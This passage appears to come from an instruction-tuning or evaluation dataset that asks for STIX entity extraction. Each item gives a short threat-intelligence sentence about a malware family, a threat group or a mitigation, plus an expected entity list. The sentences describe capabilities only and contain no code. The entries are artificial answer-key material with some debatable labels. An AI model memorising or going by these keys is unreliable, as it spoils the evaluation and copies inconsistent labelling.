    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nKobalos encrypts all strings using RC4 and bundles all functionality into a single function call.\n",
    "output": "<entities>Kobalos</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nCARROTBALL has the ability to download and install a remote payload.\n",
    "output": "<entities>CARROTBALL</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nAstaroth can abuse alternate data streams (ADS) to store content for malicious payloads.\n",
    "output": "<entities>Astaroth|ADS</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nAPT12 has used the RIPTIDE RAT, which communicates over HTTP with a payload encrypted with RC4.\n",
    "output": "<entities>RIPTIDE RAT|APT12</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nShadowPad has encrypted a virtual file system and various files.\n",
    "output": "<entities>ShadowPad</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nEcipekac has the ability to decrypt fileless loader modules.\n",
    "output": "<entities>Ecipekac</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nRequire user authentication before allowing access to data or accepting commands to a device. While strong multi-factor authentication is preferable, it is not always feasible within ICS environments. Performing strong user authentication also requires additional security controls and processes which are often the target of related adversarial techniques (e.g., Valid Accounts, Default Credentials). Therefore, associated ATT&CK mitigations should be considered in addition to this, including Multi-factor Authentication, Account Use Policies, Password Policies, User Account Management, Privileged Account Management, and User Account Control.\n",
    "output": "<entities>Multi-factor Authentication|Account Use Policies|Password Policies|User Account Management|Privileged Account Management|User Account Control|ICS|Require user authentication before allowing access to data or accepting commands to a device</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nUSBStealer searches victim drives for files matching certain extensions (\u201c.skr\u201d,\u201c.pkr\u201d or \u201c.key\u201d) or names.\n",
    "output": "<entities>USBStealer</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nSUGARUSH is a small custom backdoor that can establish a reverse shell over TCP to a hard coded C2 address. SUGARUSH was first identified during analysis of UNC3890's C0010 campaign targeting Israeli companies, which began in late 2020.\n",
    "output": "<entities>SUGARUSH|C0010 campaign|UNC3890|C2|Israeli</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nFinal1stspy uses HTTP for C2.\n",
    "output": "<entities>C2|Final1stspy</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nRamsay can use ipconfig and Arp to collect network configuration information, including routing information and ARP tables.\n",
    "output": "<entities>Ramsay|ipconfig|Arp</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nIndustroyer used Tor nodes for C2.\n",
    "output": "<entities>Tor|C2|Industroyer</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nZIPLINE is a passive backdoor that was used during Cutting Edge on compromised Secure Connect VPNs for reverse shell and proxy functionality.\n",
    "output": "<entities>ZIPLINE|Cutting Edge|Secure Connect VPNs</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nOLDBAIT can use SMTP for C2.\n",
    "output": "<entities>OLDBAIT|C2</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nFlexiSpy is sophisticated surveillanceware for iOS and Android. Publicly-available, comprehensive analysis has only been found for the Android version.\n",
    "output": "<entities>FlexiSpy|Android|iOS</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nComRAT is a second stage implant suspected of being a descendant of Agent.btz and used by Turla. The first version of ComRAT was identified in 2007, but the tool has undergone substantial development for many years since.\n",
    "output": "<entities>ComRAT|Turla|Agent.btz</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nHIDEDRV injects a DLL for Downdelph into the explorer.exe process.\n",
    "output": "<entities>HIDEDRV|Downdelph|explorer.exe</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nBackdoor.Oldrea collects the current username from the victim.\n",
    "output": "<entities>Backdoor.Oldrea</entities>"
  },
  {
